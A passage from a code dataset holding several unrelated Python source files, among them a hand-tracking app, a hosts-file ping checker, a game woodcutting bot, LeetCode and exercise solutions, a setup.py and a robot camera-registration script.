= frame[self.top:self.bottom, self.right:self.left]\n\n # convert the roi to grayscale and blur it\n gray = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (7, 7), 0)\n\n if self.num_frames < 30:\n self.run_avg(gray)\n else:\n # segment the hand region\n hand = self.segment(gray)\n\n # check whether hand region is segmented\n if hand is not None:\n # if yes, unpack the thresholded image and\n # segmented region\n (thresholded, segmented) = hand\n\n # draw the segmented region and display the frameq\n cv2.drawContours(clone, [segmented + (self.right, self.top)], -1, (0, 0, 255))\n\n # count the number of fingers\n fingers = self.count(thresholded, segmented)\n\n cv2.putText(clone, str(fingers), (70, 45), cv2.FONT_HERSHEY_SIMPLEX, 1, (0,0,255), 2)\n\n # show the thresholded image\n cv2.imshow(\"Thesholded\", thresholded)\n\n cv2.rectangle(clone, (self.left, self.top), (self.right, self.bottom), (0, 255, 0), 2)\n\n self.num_frames += 1\n Clock.schedule_once(partial(self.display_frame, clone))\n\n def stop_vid(self):\n # stop the video capture loop\n self.do_vid = False\n\n def display_frame(self, frame, dt):\n # display the current video frame in the kivy Image widget\n\n # create a Texture the correct size and format for the frame\n texture = Texture.create(size=(frame.shape[1], frame.shape[0]), colorfmt='bgr')\n\n # copy the frame data into the texture\n texture.blit_buffer(frame.tobytes(order=None), colorfmt='bgr', bufferfmt='ubyte')\n\n # flip the texture (otherwise the video is upside down\n texture.flip_vertical()\n\n # actually put the texture in the kivy Image widget\n self.main_screen.ids.vid.texture = texture\n\nMain().run()\n\n","repo_name":"mujtahid3996/handcricket-computervisionpart","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2333688802","text":"#!/usr/bin/env python3\nimport os\nimport re\nimport json\n\n# your hosts file or similarly-formatted file\n# example\n#10.0.0.1 router\nhostsfile = '/etc/hosts'\n\n# output file with optional path\nfilePath = 'Output.txt';\n \n# As file at filePath is deleted now, so we should check if file exists or not not before deleting them\nif os.path.exists(filePath):\n os.remove(filePath)\n\nwith open(hostsfile, 'r') as f:\n hosts = f.readlines()\n\n# ignore commented or blank lines\nhostlines = [host.strip() for host in hosts\n if not host.startswith('#') and host.strip() != '']\n\nfor i in hostlines:\n # parse\n splitted = re.split(' +|\t+', i)\n # use IPv4 lines\n if re.match(r'^[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}$',splitted[0]):\n response = os.system(\"ping -c 1 -w2 \" + splitted[0] + \" > /dev/null 2>&1\")\n if response == 0:\n splitted.append(\"UP\")\n else:\n splitted.append(\"DOWN\")\n d1 = {}\n t1 = {\"ip\": splitted[0], \"host\": splitted[1], \"status\": splitted[2]}\n d1.update(t1)\n d1 = json.dumps(t1, indent=4) + \",\"\n with open(filePath, \"a+\") as text_file:\n text_file.write(str(d1))\n# Make clean parse-able json\nprint(os.system(\"sed -i '$ s/.$/]/' \" + filePath))\nprint(os.system(\"sed -i '0,/{/s//[{/' \" + filePath))\n\n","repo_name":"onetrueandrew/dakboard","sub_path":"etchosts_status.py","file_name":"etchosts_status.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"15285880088","text":"import re\nfrom copy import copy\n\nfrom entities.base_scenario import ScenarioBase, alive_action, condition, stealth\nfrom entities.container import Container\nfrom entities.mob import Mob\nfrom entities.weapon import Hatchet\nfrom tools import constants, tools\nfrom tools.tools import log\n\nLJ_SLOGS = True # simple logs # todo: drop simple logs option\nLJ_SLOGS_DROP = True\nENGAGE_MOBS = True\nENGAGE_CRITTERS = True\nMOB_FIND_DISTANCE = 25\nLOOT_CORPSES = True\nCUT_CORPSES = True\nHOLD_BANDAGES = 2\nRESURRECT_AND_RETURN = True\nEQUIP_WEAPONS_FROM_GROUND = True\nEQUIP_WEAPONS_FROM_LOOT_CONTAINER = True\nRESET_PROCESSED_MOBS_ON_UNLOAD = True\nMAX_WEAPON_SEARCH_DISTANCE = 20\nCORPSE_FIND_DISTANCE = 20\nMAX_LJ_ITERATIONS = 4 # starting from 0\nMAX_FAIL_SAFE = 10 # starting from 0\nSTUCK_TIMEOUT_SECONDS = 120\n# STUCK_TIMEOUT_SECONDS = None\nLJ_DISTANCE_TO_TREE = 1\nLJ_CONTAINER_ID = 0x728F3B3B\nLOOT_CONTAINER_OPEN_SUBCONTAINERS = True\nLJ_CONTAINER_COORDS = (2470, 182)\nWOOD_ENTRANCE = (2499, 162)\nWOOD_ZONE_Y = 188\nMOUNT_ID = 0x076C4894\nLJ_TRASH = [\n *constants.ITEM_IDS_TRASH,\n constants.TYPE_ID_ARMOR_LEATHER_BUSTIER,\n constants.TYPE_ID_ARMOR_LEATHER_SKIRT,\n]\nLJ_TOOLS = constants.TYPE_ID_TOOL_TREE_CUTTING\nLJ_LOOT = [\n constants.TYPE_ID_LOGS,\n constants.TYPE_ID_HIDE,\n *constants.TYPE_IDS_LOOT,\n *LJ_TOOLS,\n constants.TYPE_ID_BANDAGE,\n]\nLJ_LOOT = [i for i in LJ_LOOT if i not in LJ_TRASH]\nLJ_SPOTS = [\n (0x0CD0, 2512, 207, 0),\n (0x0CE3, 2516, 210, 0),\n (0x0CE3, 2516, 207, 0),\n (0x0CD0, 2512, 219, 0),\n (0x0CE0, 2512, 228, 0),\n (0x0CCD, 2516, 225, 0),\n (0x0CE0, 2520, 213, 0),\n (0x0CD0, 2520, 210, 0),\n (0x0CD6, 2524, 210, 0),\n (0x0CE3, 2524, 213, 0),\n (0x0CE3, 2520, 228, 0),\n (0x0CCD, 2520, 234, 0),\n (0x0CE0, 2528, 219, 0),\n (0x0CE3, 2528, 228, 0),\n (0x0CD0, 2528, 234, 0),\n (0x0CE6, 2528, 237, 0),\n (0x0CCD, 2528, 240, 0),\n (0x0CD6, 2524, 246, 0),\n (0x0CD0, 2520, 249, 0),\n (0x0CCD, 2520, 246, 0),\n (0x0CD0, 2527, 258, 0),\n (0x0CD6, 2528, 255, 0),\n (0x0CD6, 2528, 252, 0),\n (0x0CCD, 2528, 240, 0),\n (0x0CE6, 2528, 237, 0),\n (0x0CE3, 2528, 228, 0),\n (0x0CE0, 2528, 219, 0),\n (0x0CE3, 2532, 222, 0),\n (0x0CD6, 2532, 225, 0),\n (0x0CE0, 2532, 228, 0),\n (0x0CD0, 2532, 237, 0),\n (0x0CD0, 2532, 243, 0),\n (0x0CE0, 2532, 246, 0),\n (0x0CD6, 2532, 249, 0),\n (0x0CE6, 2532, 252, 0),\n (0x0CE0, 2532, 255, 0),\n (0x0CCD, 2534, 260, 0),\n (0x0CCD, 2536, 249, 0),\n (0x0CD6, 2536, 243, 0),\n (0x0CD6, 2536, 225, 0),\n (0x0CD3, 2537, 257, 0),\n (0x0CD3, 2537, 257, 0),\n (0x0CE6, 2540, 255, 0),\n (0x0CE6, 2544, 252, 0),\n (0x0CCD, 2552, 252, 0),\n (0x0CD0, 2545, 257, 7),\n (0x0CD3, 2552, 246, 0),\n (0x0CCD, 2536, 249, 0),\n (0x0CD0, 2540, 246, 0),\n (0x0CD6, 2536, 243, 0),\n (0x0CE3, 2540, 243, 0),\n (0x0CD0, 2548, 237, 0),\n (0x0CD3, 2548, 234, 0),\n (0x0CD6, 2540, 234, 0),\n (0x0CD6, 2540, 231, 0),\n (0x0CE6, 2544, 224, 0),\n (0x0CD6, 2540, 231, 0),\n (0x0CD6, 2536, 225, 0),\n (0x0CD3, 2543, 216, 0),\n (0x0CE6, 2544, 224, 0),\n (0x0CDA, 2525, 182, 0),\n (0x0CD8, 2522, 178, 0),\n]\nLJ_SLOGS_SUCCESS = [\n 'Вы положили несколько бревен в сумку.',\n]\nLJ_SUCCESS_MESSAGES = [\n *LJ_SLOGS_SUCCESS,\n 'Вы нарубили ',\n 'Вы рубите, но бревна у Вас не получаются.',\n]\nLJ_ERRORS = [\n 'Здесь нет больше дерева для вырубки.',\n 'Вы не можете использовать клинок на это.',\n 'Вы находитесь слишком далеко!',\n]\nif not LJ_SLOGS:\n LJ_ERRORS.extend(LJ_SLOGS_SUCCESS)\n [LJ_SUCCESS_MESSAGES.remove(i) for i in LJ_SLOGS_SUCCESS]\n\n\nclass Lumberjack(ScenarioBase):\n def __init__(self):\n super().__init__()\n x, y = LJ_CONTAINER_COORDS\n self.loot_container = Container.instantiate(LJ_CONTAINER_ID, x=x, y=y, fixed_coords=True)\n self._trees = []\n self._current_tree = None\n self.lj_i = 0\n self.fail_safe_i = 0\n self.unload_itemids = LJ_LOOT\n self.trash_item_ids = LJ_TRASH\n self.drop_types = [\n (constants.TYPE_ID_LOGS, constants.COLOR_LOGS_S, constants.WEIGHT_LOGS),\n (constants.TYPE_ID_LOGS, -1, constants.WEIGHT_LOGS),\n ]\n self.player._mount = MOUNT_ID\n self._low_hatchets_notified = False\n\n @property\n def current_tree(self):\n if not self._current_tree:\n if not self._trees:\n self._trees = copy(LJ_SPOTS)\n self.report_stats()\n self._current_tree = self._trees.pop(0)\n log.info(f\"{len(self._trees)}/{len(LJ_SPOTS)} New Tree: {self._current_tree}.\")\n return self._current_tree\n\n @current_tree.setter\n def current_tree(self, value):\n self._current_tree = value\n\n @property\n def hatchet(self):\n # return Hatchet.instantiate(self.player.find_type_backpack(constants.TYPE_ID_HATCHET))\n hatchets = self.player.find_types_backpack(LJ_TOOLS, recursive=True)\n if hatchets:\n return Hatchet.instantiate(hatchets[0])\n\n @property\n def got_hatchet(self):\n hatchet = self.hatchet\n return hatchet and hatchet.exists\n\n @alive_action\n def pick_up_items(self, **kwargs):\n return super().pick_up_items(self.unload_itemids)\n\n @alive_action\n def process_mobs(self, **kwargs):\n return super().process_mobs(engage=ENGAGE_MOBS, notify_mutated=True, mob_find_distance=MOB_FIND_DISTANCE,\n drop_overweight_items=self.drop_types)\n\n @alive_action\n def move_to_tree(self):\n self._checks()\n tile_type, x, y, z = self.current_tree\n i = 0\n max_i = 30\n while self.player.distance_to(x, y) > LJ_DISTANCE_TO_TREE:\n i += 1\n if i > max_i:\n log.info(f\"Failsafe {i}. Reconnecting\")\n i = 0\n tools.reconnect()\n i_str = '' if i > max_i * 0.7 else f' {i}/{max_i}'\n log.info(f\"➡️{len(self._trees)}/{len(LJ_SPOTS)}{i_str} Moving to the next tree: {self.current_tree}\")\n self.wait_stamina(0.1)\n self.player.move(x, y, accuracy=LJ_DISTANCE_TO_TREE, running=self.should_run)\n self._checks()\n\n @alive_action\n def move_to_unload(self, **kwargs):\n self.parse_commands()\n if self.player.path_distance_to(*self.loot_container.xy) > 1:\n log.info(\"➡️Moving to unload\")\n if self.in_woods:\n self.go_woods()\n self.wait_stamina()\n self.player.move_to_object(self.loot_container, accuracy=1)\n log.info(\"⬇️Done moving to unload.\")\n tools.ping_delay()\n if self.loot_container.is_empty:\n self.player.open_container(self.loot_container, subcontainers=LOOT_CONTAINER_OPEN_SUBCONTAINERS)\n\n @alive_action\n def check_hatchet(self):\n if self.got_hatchet:\n return True\n\n if self.in_woods:\n return False\n\n log.info(\"➡️Moving to grab a Hatchet\")\n self.move_to_unload()\n success = False\n for i in range(3):\n self.player.open_container(self.loot_container, subcontainers=True, force=True)\n tools.delay(1000)\n container_hatchets = self.player.find_types_container(LJ_TOOLS, container_ids=self.loot_container,\n recursive=True)\n if container_hatchets:\n if len(container_hatchets) <= 3 and not self._low_hatchets_notified:\n log.info(f\"⛔WARNING! LOW HATCHETS: {len(container_hatchets)}!\")\n tools.telegram_message(f\"{self.player}: Low hatchets: {len(container_hatchets)}\")\n self._low_hatchets_notified = True\n else:\n self._low_hatchets_notified = False\n success = True\n break\n\n if not success:\n log.info(\"⛔WARNING! NO SPARE HATCHETS FOUND!\")\n tools.telegram_message(f\"{self.player}: No hatchets found\")\n self.quit()\n return\n\n # noinspection PyUnboundLocalVariable\n while not self.got_hatchet and not self.player.move_item(container_hatchets):\n log.info(f\"🤚Grabbing {container_hatchets}\")\n tools.ping_delay()\n\n return True\n\n @alive_action\n def check_bandages(self, **kwargs):\n return self._check_bandages(HOLD_BANDAGES, self.loot_container)\n\n @alive_action\n def eat(self, **kwargs):\n return super().eat(container_id=self.loot_container)\n\n @alive_action\n def unload(self, **kwargs):\n log.info(\"🔃Unloading\")\n self.move_to_unload()\n self.record_stats()\n self.parse_commands()\n self.player.unload_types(self.unload_itemids, self.loot_container, [self.hatchet])\n self.check_hatchet()\n self.check_bandages()\n self.rearm_from_container()\n self.eat()\n if RESET_PROCESSED_MOBS_ON_UNLOAD:\n self._processed_mobs = []\n self.report_stats()\n\n def tree_depleeted(self):\n log.info(f\"🌲{len(self._trees)}/{len(LJ_SPOTS)} Tree depleeted: {self.current_tree}.\")\n self.player.break_action()\n self.current_tree = None\n self._processed_mobs = []\n\n def _jack_tree(self, tile_type, x, y, z):\n while self.player.overweight: # consider near_max_weight\n self.parse_commands()\n self.drop_trash()\n self.general_weight_check()\n self.check_overweight()\n\n self.parse_commands()\n self.player.use_object_on_tile(self.hatchet, tile_type, x, y, z)\n # tools.result_delay()\n\n @property\n def got_logs(self):\n # noinspection PyProtectedMember\n return self.player.got_item_type(constants.TYPE_ID_LOGS)\n\n @alive_action\n def general_weight_check(self):\n if self.got_logs and self.player.overweight:\n self.unload_and_return()\n\n @property\n def in_woods(self):\n _, y, _, _ = self.player.coords\n output = y >= WOOD_ZONE_Y\n return output\n\n @alive_action\n def jack_tree(self):\n while self.player.overweight:\n self.general_weight_check()\n # self.lj_check_hatchets()\n self.move_to_tree()\n self.parse_commands()\n self._jack_tree(*self.current_tree)\n output = stealth.HighJournal()\n return output\n\n @alive_action\n def check_overweight(self, **kwargs):\n return super().check_overweight(self.drop_types, self.trash_item_ids)\n\n @alive_action\n def go_woods(self):\n self.check_overweight()\n self.wait_stamina()\n log.info(f\"➡️Going to the woods\")\n self.player.move(*WOOD_ENTRANCE)\n self.player.open_backpack()\n log.info(f\"⬇️Going to the woods done\")\n self.wait_stamina(0.1)\n\n def check_health(self, **kwargs):\n return super().check_health(resurrect=RESURRECT_AND_RETURN)\n\n def lj_check_health(self):\n if not self.check_health():\n self.unload_and_return()\n\n def lj_check_hatchets(self):\n if not self.check_hatchet():\n self.unload_and_return()\n\n @alive_action\n def unload_and_return(self):\n self.player.break_action()\n self.check_overweight()\n self.unload()\n self.go_woods()\n self.move_to_tree()\n self.lj_i = MAX_LJ_ITERATIONS\n\n @alive_action\n def engage_mob(self, mob: Mob, **kwargs):\n return super().engage_mob(mob=mob, check_health_func=self.lj_check_health, loot=False, cut=False,\n drop_trash_items=True, trash_items=LJ_TRASH)\n\n def _checks(self, check_overweight=True, loot_corpses=True):\n self.parse_commands()\n self.lj_check_health()\n if check_overweight:\n self.general_weight_check()\n if self.process_mobs():\n self.lj_i = MAX_LJ_ITERATIONS # force dig again after a mob is killed\n if loot_corpses:\n self.loot_corpses()\n if LJ_SLOGS_DROP:\n super().drop_trash(trash_items=[constants.TYPE_ID_LOGS], colors=[0])\n\n self.lj_check_hatchets()\n self.check_weapon()\n self.pick_up_items()\n if check_overweight:\n self.drop_trash()\n self.lj_check_hatchets()\n if check_overweight:\n self.general_weight_check()\n\n @condition(LOOT_CORPSES)\n def loot_corpses(self, **kwargs):\n return super().loot_corpses(cut_corpses=CUT_CORPSES, trash_items=LJ_TRASH,\n corpse_find_distance=CORPSE_FIND_DISTANCE)\n\n def drop_trash(self, **kwargs):\n return super().drop_trash(trash_items=self.trash_item_ids)\n\n @condition(EQUIP_WEAPONS_FROM_GROUND)\n def check_weapon(self, **kwargs):\n return super().check_weapon(max_weapon_search_distance=MAX_WEAPON_SEARCH_DISTANCE)\n\n @condition(EQUIP_WEAPONS_FROM_LOOT_CONTAINER)\n def rearm_from_container(self, **kwargs):\n return super().rearm_from_container(container_id=self.loot_container)\n\n def lumberjack_process(self):\n previous_journal_index = self.jack_tree()\n self.fail_safe_i = 0\n self.lj_i = 0\n while True:\n highjournal = stealth.HighJournal()\n journal_contents = []\n if previous_journal_index != highjournal:\n journal_contents = tools.journal(start_index=highjournal)\n\n skip = [j for j in journal_contents if j.contains(r'skip \\d+', regexp=True, return_re_value=True)]\n if any(skip):\n text = skip[0].text\n numbers = re.findall(r'\\d+', text)\n trees_quantity = int(numbers[0])\n log.info(f\"Skipping {trees_quantity} trees\")\n for i in range(trees_quantity):\n self.tree_depleeted()\n self.fail_safe_i = 0\n self.lj_i = 0\n previous_journal_index = self.jack_tree()\n continue\n\n successes = [e for e in LJ_SUCCESS_MESSAGES if any([j.contains(e) for j in journal_contents])]\n if successes:\n previous_journal_index = highjournal\n self.lj_i = 0\n self.fail_safe_i = 0\n else:\n errors = [e for e in LJ_ERRORS if any([j.contains(e) for j in journal_contents])]\n if errors:\n log.debug(f\"🪵{len(self._trees)}/{len(LJ_SPOTS)} Depletion message detected: {errors[0]}\")\n self.tree_depleeted()\n self._checks()\n if self.general_weight_check():\n self.lj_i = MAX_LJ_ITERATIONS\n previous_journal_index = self.jack_tree()\n self.lj_i = 0\n self.fail_safe_i = 0\n continue\n\n self._checks(loot_corpses=False)\n self.fail_safe_i += 1\n if self.fail_safe_i > MAX_FAIL_SAFE:\n log.warning(f\"⛔Failsafe: {self.fail_safe_i}. Reconnecting\")\n self.fail_safe_i = 0\n self.lj_i = MAX_LJ_ITERATIONS\n tools.reconnect()\n self.lj_i += 1\n if self.lj_i > MAX_LJ_ITERATIONS:\n previous_journal_index = self.jack_tree()\n self.lj_i = 0\n\n line_contents = ''\n if journal_contents:\n line_contents = f\" : {len(journal_contents)} : {journal_contents[-1].text_clean}\"\n fail_safe_str = ''\n if self.fail_safe_i > MAX_FAIL_SAFE * 0.75:\n fail_safe_str = f' ⛔({self.fail_safe_i}/{MAX_FAIL_SAFE}) '\n log.info(f\"🌲{len(self._trees)}/{len(LJ_SPOTS)} ⚖️{self.player.weight:>3}/{self.player.max_weight} \"\n f\"ℹ️{self.lj_i}/{MAX_LJ_ITERATIONS + 1}{fail_safe_str}{line_contents}\")\n stealth.Wait(constants.USE_COOLDOWN / 6)\n\n def start(self, **kwargs):\n super(type(self), self).start(stuck_timeout_seconds=STUCK_TIMEOUT_SECONDS)\n self.check_health()\n self.general_weight_check()\n dist_to_container = self.player.path_distance_to(*self.loot_container.xy)\n if dist_to_container < 20 or self.player.near_max_weight:\n self.unload()\n if not self.in_woods:\n self.go_woods()\n\n self.lumberjack_process()\n\n\nif __name__ == '__main__':\n Lumberjack().start()\n print(\"\")\n","repo_name":"ALERTua/uo_aop_stealth_scripts","sub_path":"lumberjacking.py","file_name":"lumberjacking.py","file_ext":"py","file_size_in_byte":16663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18861124183","text":"\"\"\"\nPrograminha para validar e gerar CNPJ válido\n\nFeito por Lívio Lopes\n\"\"\"\n\nimport gera, valida\n\nwhile True:\n\tentrada = input('Digite 1 para Validar CNPJ \\n'\n\t\t\t\t\t'Digite 2 para Gerar CNPJ\\n'\n\t\t\t\t\t'Digite 3 para Sair\\n')\n\t# Validando CNPJ\n\tif entrada == '1':\n\t\tcnpj = input('Digite o CNPJ que deseja validar: ')\n\t\t#cnpj = valida.teste\n\t\tvalido = valida.process_cnpj(cnpj)\n\t\tprint(f'O CNPJ {cnpj} é Valido'\n\t\tif valido else f'O CNPJ {cnpj} é Inválido')\n\t# Gerando CNPJ Válido\n\telif entrada == '2':\n\t\tcnpj = genex()\n\t\tprint(cnpj)\n\t# Saindo do programa\n\telif entrada == '3':\n\t\tbreak\n\telse:\n\t\tprint('Você digitou algo errado, tente novamente')","repo_name":"livio-lopes/pythonProjects","sub_path":"exercicio_simpples/prog_cnpj/cnpj.py","file_name":"cnpj.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20378015282","text":"import sys\r\n\r\nn, m = map(int, sys.stdin.readline().split())\r\n\r\nname_to_num = {}\r\nnum_to_name = {}\r\n\r\n# 도감 정보 입력 받기\r\nfor i in range(1, n + 1):\r\n name = sys.stdin.readline().strip()\r\n name_to_num[name] = i\r\n num_to_name[i] = name\r\n\r\nfor _ in range(m):\r\n question = sys.stdin.readline().strip()\r\n\r\n # 숫자인 경우 문자로 변환하여 출력하기 (번호-이름)\r\n if question.isdigit():\r\n print(num_to_name[int(question)])\r\n\r\n else: # 문자인 경우 숫자로 변환하여 출력하기 (이름-번호)\r\n print(name_to_num[question])\r\n","repo_name":"young91183/Beak_Joon_python","sub_path":"pythonProject/1620.py","file_name":"1620.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30009105572","text":"from setuptools import setup, find_packages\nimport re\nimport ast\n\n# version parsing from __init__ pulled from Flask's setup.py\n# https://github.com/mitsuhiko/flask/blob/master/setup.py\n_version_re = re.compile(r'__version__\\s+=\\s+(.*)')\n\nwith open('q2_picrust/__init__.py', 'rb') as f:\n hit = _version_re.search(f.read().decode('utf-8')).group(1)\n version = str(ast.literal_eval(hit))\n\nsetup(\n name=\"q2-picrust\",\n version=version,\n packages=find_packages(),\n # pandas, q2templates and q2-dummy-types are only required for the dummy\n # methods and visualizers provided as examples. Remove these dependencies\n # when you're ready to develop your plugin, and add your own dependencies\n # (if there are any).\n install_requires=['qiime >= 2.0.6', 'q2-types >= 0.0.6',\n 'biom-format >= 2.1.5, < 2.2.0'],\n author=\"Gavin Douglas\",\n author_email=\"gavin.douglas@dal.ca\",\n description=\"Plugin to run PICRUSt in QIIME 2 environment\",\n entry_points={\n \"qiime.plugins\":\n [\"q2-picrust=q2_picrust.plugin_setup:plugin\"]\n },\n # If you are creating a visualizer, all template assets must be included in\n # the package source, if you are not using q2templates this can be removed\n package_data={\n \"q2_picrust\": [\"assets/index.html\"]\n }\n)\n","repo_name":"xfunture/q2-picrust","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38869736863","text":"class Solution:\n#First we try brute force approach.\n#We should always ask the Interviewer that if the input contains of negatives.\n def setZeroesBrute(self, matrix: List[List[int]]) -> None:\n rows = len(matrix)\n cols = len(matrix[0])\n \n for row in range(rows):\n for col in range(cols):\n #check if the element is zero or not\n if matrix[row][col] == 0:\n #if it is a zero loop through its rows and then columns and change all elements to -1 except 0.\n \n for i in range(cols):\n #column number must change but row number must remain constant to change the row\n if matrix[row][i] != 0:\n matrix[row][i] = -1\n \n for j in range(rows):\n #row number must change but column number must remain constant to change a column\n if matrix[j][col] != 0:\n matrix[j][col] = -1\n \n #Now we must again traverse the matrix to change all -1s to 0s\n for row in range(rows):\n for col in range(cols):\n if matrix[row][col] == -1:\n matrix[row][col] = 0\n \n #Time Complexity for this approach is O((m*n)*(m+n)) + O(m*n). m*n for traversing in matrix and m+n for traversing in rows and cols.\n #Space Complexity for this approach is O(1). Matrix has been changed in place.\n \n def setZeroesExtraSpace(self, matrix: List[List[int]]) -> None:\n #In this approach we create two dummy arrays to keep track which rows and cols have zero in them.\n #This will decrease time compexity, but incfease space complexity.\n \n rows = len(matrix)\n cols = len(matrix[0])\n darrayrow = [-1]*(rows)\n darraycol = [-1]*(cols)\n \n for row in range(rows):\n for col in range(cols):\n if matrix[row][col] == 0:\n darrayrow[row] = 0\n darraycol[col] = 0\n \n for row in range(rows):\n for col in range(cols):\n if darrayrow[row]==0 or darraycol[col]==0:\n #check if the element's row or column is in dummy array.\n matrix[row][col] = 0\n \n #Time Complexity for this approach is O(n*m) + O(n*m). Because we traversed matrix twice.\n #Space Complexity for this approach is O(n+m). We create dummy arrays of size n and m.\n \n \n def setZeroes(self, matrix: List[List[int]]) -> None:\n #This is the optimized approach. In this approach we take first row and column to store the metadata about zeroes.\n #We store metadata about rows in col1 and that about cols in row1.\n #We also take two variables to know whether first row or column itself contain zero and use them later.\n \n \n isrow0 = False\n iscol0 = False\n rows = len(matrix)\n cols = len(matrix[0])\n \n for row in range(rows):\n for col in range(cols):\n if matrix[row][col]==0:\n \n if row ==0:\n isrow0 = True\n if col ==0:\n iscol0 = True\n elif row!=0 and col!=0:\n #if row and column both are not first row, than we change chnage the first column if its a row and vice versa.\n matrix[row][0]=0\n matrix[0][col]=0\n \n for row in range(1, rows):\n for col in range(1, cols):\n #Traverse the remainder of matrix and check if thier corresponding row or column is 0.\n if matrix[row][0]==0 or matrix[0][col]==0:\n matrix[row][col]=0\n \n #check whether row or column themselves contained zero \n if isrow0:\n matrix[0]= [0]*cols\n if iscol0:\n for row in range(rows):\n matrix[row][0]=0\n \n #Time Complexity for this approach is O(n*m) + O(n*m).\n #Space Complexity for this approach is O(1). We change matrix in place\n \n","repo_name":"mradul13/Striver-s-SDE-Sheet-Python-Notes","sub_path":"Day 1/Set Matrix Zero.py","file_name":"Set Matrix Zero.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38265544186","text":"# coding: utf-8\nimport os, time\nfrom loginfo.log_print import get_log\nfrom selenium import webdriver\n\n\ndef screenshot(driver):\n # 设置截图文件保存的路径\n path = 'D:\\\\123\\\\loginfo'\n path = os.path.join(path, 'ScreenShot')\n if not os.path.exists(path):\n os.mkdir(path)\n # 设置要截图的文件名\n file_name = time.strftime('%Y_%m_%d_%H_%M_%S', time.localtime()) + '.png'\n path = os.path.join(path, file_name)\n log = get_log('ScreenShot')\n try:\n driver.get_screenshot_as_file(path)\n log.info('截图成功')\n except OSError:\n log.info('截图失败')\n\n\nif __name__ == '__main__':\n driver0 = webdriver.Chrome()\n screenshot(driver0)\n #driver0.quit()","repo_name":"huoyan298/AutoTestProject","sub_path":"TestSeleniumScreenShot/TestSeleniumScreenShoot.py","file_name":"TestSeleniumScreenShoot.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41403894467","text":"#!/usr/bin/python3\nimport evr\nimport sys\n\ncontent = b''.join(evr.get_blob(sys.argv[1])).decode('utf-8')\nif content != 'hello world!\\n':\n print(f'Retrieved content: {content}')\n sys.exit(1)\n\nprint('watching all blobs')\nfor blob in evr.watch(last_modified_after=0):\n if blob.watch_flags != 0:\n print('retrieved last existing blob')\n # this should break the loop after all existing blobs in the\n # storage have been visited.\n break\n","repo_name":"marook/everarch","sub_path":"testing/suite/put-get-once/evr-py-test.py","file_name":"evr-py-test.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"36468573079","text":"\"\"\"\nAdapted from autolab/perception package's register camera script:\nScript to register sensors to a chessboard for the YuMi setup\nAuthors: Jeff Mahler and Brenton Chu\n\"\"\" \nimport argparse\nimport cv2\nimport numpy as np\nimport os\nimport sys\nimport time\nimport traceback\nimport rospy\n\nfrom autolab_core import Point, PointCloud, RigidTransform, YamlConfig\nfrom perception import CameraChessboardRegistration, RgbdSensorFactory, CameraIntrinsics\n\nfrom frankapy import FrankaArm\n\nif __name__ == '__main__': \n\n # parse args\n parser = argparse.ArgumentParser(description='Register a camera to a robot')\n parser.add_argument('--config_filename', type=str, default='cfg/register_azure_kinect_with_franka.yaml', help='filename of a YAML configuration for registration')\n parser.add_argument('--intrinsics_dir', type=str, default='calib/azure_kinect.intr')\n args = parser.parse_args()\n config_filename = args.config_filename\n config = YamlConfig(config_filename)\n\n robot = FrankaArm()\n \n print('Applying 0 force torque control for {}s'.format(20))\n robot.run_guide_mode(20)\n\n T_ee_world = robot.get_pose()\n\n # Get T_cb_world by using T_ee_world*T_cb_ee\n # T_cb_ee = RigidTransform(rotation=np.array([[0, 0, 1],[1, 0, 0],[0, 1, 0]]),\n # translation=np.array([0.02275, 0, -0.0732]), \n # from_frame='cb', to_frame='franka_tool')\n T_cb_ee = RigidTransform(rotation=np.array([[0, 0, 1],[-1, 0, 0],[0, -1, 0]]),\n translation=np.array([0.02275, 0, -0.0732]), \n from_frame='cb', to_frame='franka_tool')\n # T_cb_ee = RigidTransform(rotation=np.array([[1, 0, 0],[0, 1, 0],[0, 0, 1]]),\n # translation=np.array([0.02275, 0, -0.0732]), \n # from_frame='cb', to_frame='franka_tool')\n\n T_cb_world = T_ee_world * T_cb_ee\n\n # get camera sensor object\n for sensor_frame, sensor_data in config['sensors'].items():\n rospy.loginfo('Registering %s' %(sensor_frame))\n sensor_config = sensor_data['sensor_config']\n if 'registration_config' in sensor_data:\n registration_config = sensor_data['registration_config'].copy()\n else:\n registration_config = {}\n registration_config.update(config['chessboard_registration'])\n \n # open sensor\n try:\n sensor_type = sensor_config['type']\n sensor_config['frame'] = sensor_frame\n rospy.loginfo('Creating sensor')\n sensor = RgbdSensorFactory.sensor(sensor_type, sensor_config)\n rospy.loginfo('Starting sensor')\n sensor.start()\n if args.intrinsics_dir:\n ir_intrinsics = CameraIntrinsics.load(args.intrinsics_dir)\n else:\n ir_intrinsics = sensor.ir_intrinsics\n rospy.loginfo('Sensor initialized')\n\n # register\n reg_result = CameraChessboardRegistration.register(sensor, registration_config)\n print(\"Robot Transform\")\n print(T_ee_world)\n print(\"Checkerboard in Camera Transform\")\n print(reg_result.T_camera_cb)\n T_camera_world = T_cb_world * reg_result.T_camera_cb\n\n rospy.loginfo('Final Result for sensor %s' %(sensor_frame))\n rospy.loginfo('Rotation: ')\n rospy.loginfo(T_camera_world.rotation)\n rospy.loginfo('Quaternion: ')\n 